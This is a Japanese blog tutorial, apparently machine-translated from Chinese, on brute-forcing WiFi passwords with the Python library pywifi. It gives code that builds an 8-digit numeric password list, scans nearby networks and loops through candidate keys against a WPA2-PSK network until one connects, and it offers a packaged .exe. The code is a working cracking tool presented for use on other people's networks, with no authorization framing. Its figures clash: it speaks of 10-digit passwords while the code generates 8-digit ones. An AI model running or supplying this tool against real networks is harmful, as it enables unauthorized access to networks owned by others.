著作権に関する声明: 独創性を発揮するのは簡単ではありません。この記事では盗作と転載が禁止されており、侵害があれば調査する必要があります。
目次
1.pywifiの導入とインストール
開発環境: Windows10 Python3.6.4
サードパーティ ライブラリ: pywifi-1.1.12
IDE: PyCharm/Sublime Text
pywifi の紹介:
pywifi は、ワイヤレス インターフェイスを操作するための Python のサードパーティ ライブラリです。プラットフォーム間で使用でき、Windows をサポートします。ここでは、接続、スキャン、切断などの Wi-Fi 操作を実行するために使用します
。
pip install comtypes -i https://pypi.doubanio.com/simple
pip install pywifi -i https://pypi.doubanio.com/simple
pywifi-1.1.12 は comtype に依存するため、comtype もインストールする必要があります
2. WiFiパスワードライブラリの暴力的な構築
WiFi パスワードは通常、数字 (0 ~ 9)、文字 (大文字と小文字を区別)、および特殊文字 (!@#&*. など) で構成されます。パスワードは txt ファイルに保存されます。WiFi パスワードによっては、もう少し長くなる場合があります。複雑な場合は、文字の長さを延長するか、文字や特殊文字を追加するだけです。コードは
次のとおりです。
astring = "1234567890" #可添加字母和特殊字符
pwds = it.product(astring, repeat=8) #8位密码长度
with open(filename, 'a', encoding='utf-8') as f:
for pwd in pwds:
f.write(''.join(pwd))
f.write(''.join('\n'))
10桁のWiFiパスワードをブルートフォースクラッキングする方法は1億種類あり、そのメモリ使用量は約953.67MBであり、ブルートフォースクラッキングには比較的多くのメモリが必要であることがわかります。
3. WiFi をクラックするためのエンコーディング
WiFi スキャンコード:
interface = self.wifi.interfaces()[0] #使用索引序号0获取第一个无线网卡
interface.scan()
print('扫描WiFi中,请稍后………………')
time.sleep(1)
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
wifiList = interface.scan_results() #返回一个列表
wifiNewList = []
for w in wifiList:
wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) #解决乱码问题并返回元组
wifiNewList.append(wifiNameAndSignal)
wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True) # 按信号强度倒序
index = 0
while index < len(wifi_signal_and_name_list):
print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1]))
index += 1
print('\n' + '*' * 50)
スキャンの効果は次のとおりです:
WiFi クラック コード:
profile = pywifi.Profile() #创建连接文件(对象)
profile.ssid = wifiName #wifi名称
profile.auth = const.AUTH_ALG_OPEN #需要认证
profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi默认加密算法
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles() #删除所有wifi连接文件
tmp_profile = interface.add_network_profile(profile) #设置新的wifi连接文件
interface.connect(tmp_profile) #开始尝试连接
startTime = time.time()
while time.time() - startTime < 1.5:
if interface.status() == 4:
print('连接成功!%s密码为:%s' % (profile.ssid, pwd))
exit(0)
else:
print('正在尝试用密码 %s 暴力破解…………' % pwd)
コンソール クラッキングの効果は次のとおりです
。.exe 実行可能ファイルにパッケージ化されており、テスト結果は次のとおりです。
ブルート フォース クラッキングには大量のメモリと時間が必要であることがわかります。
宿題: メモリと時間を最適化できるアルゴリズムについて考えてください。
5、.exeスクリプトのダウンロード
- 環境を設定せずに正常に実行できます(8桁のパスワードを持つWiFiのみがサポートされています。より複雑なWiFiを解読したい場合は、文字長を拡張するか、ソースコードに文字や特殊文字を追加できます)
astring = "1234567890" #可添加字母和特殊字符 pwds = it.product(astring, repeat=8) #8位密码长度
6. 著者情報
著者: Xiaohong の釣りルーティン、目標: プログラミングをもっと面白くする!
アルゴリズム、爬虫類、Web サイト、ゲーム開発、データ分析、自然言語処理、AI などに焦点を当てます。ご注目をお待ちしております。一緒に成長し、コーディングしましょう!
著作権に関する注意: この記事は盗作と転載を禁止しており、侵害があれば調査する必要があります。